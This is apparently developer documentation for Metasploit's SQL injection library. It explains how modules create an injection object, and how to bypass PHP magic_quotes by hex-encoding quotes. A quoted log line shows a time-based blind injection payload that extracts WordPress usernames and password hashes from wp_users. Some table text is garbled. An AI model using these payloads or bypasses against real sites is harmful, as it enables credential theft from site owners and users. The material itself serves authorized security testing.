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SQL Injection library support was added in 2020 by @red0xff during the Google Summer of Code.

Supported Databases

Supported Techniques

  • Boolean Based Blind
  • Time Based Blind
Boolean Based BlindXXX
Time Based BlindXXX

How to use in a module

You’ll need to start off by including the library.

include Msf::Exploit::SQLi

Next we create our SQLi object:

sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|
  # Here is where we write in what to do each request using #{payload} as the spot to inject

dbms can be set to either Common if the DB isn’t know, or one of the other databases and methods if it is known ahead of time such as SQLitei::BooleanBasedBlind sqli_opts is a hash containing all of the options.



run_sql can only return 1 column.

magic_quotes bypass


At times, PHP will use magic_quotes to escape ' and ". This may cause problems in the SQL injection. You’ll know its a problem, because you’ll see log items like this:

[Sat Jan 02 14:11:53.103512 2021] [php7:notice] [pid 55607] [client] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\\';\\',ifnull(user_login,\\'\\'),ifnull(user_pass,\\'\\')) as binary) mMJZrCxQ from w' at line 1 for query SELECT * FROM wp_chopslider3 WHERE chopslider_id =938076279 OR 1=1 AND if(length(cast((select group_concat(mMJZrCxQ) from (select cast(concat_ws(\\';\\',ifnull(user_login,\\'\\'),ifnull(user_pass,\\'\\')) as binary) mMJZrCxQ from wp_users limit 1) fWLwo) as binary))&1<>0,sleep(1.0),0)

However, the query was similar to this:

[*] {SQLi} Executing (select group_concat(qcO) from (select cast(concat_ws(';',to_base64(ifnull(user_login,'')),to_base64(ifnull(user_pass,''))) as binary) qcO from wp_users limit 1) dTWyw)

The query was sent without the escapes, however they were added. The solution is to avoid quotes at all. To do this, we will need to use the hex encoder

if payload.include?("''")
  payload.gsub!("''", 'hex(0x00)')

This will convert all instances of '' which were previously being escaped to \'\' to hex(0x00) which does not get altered.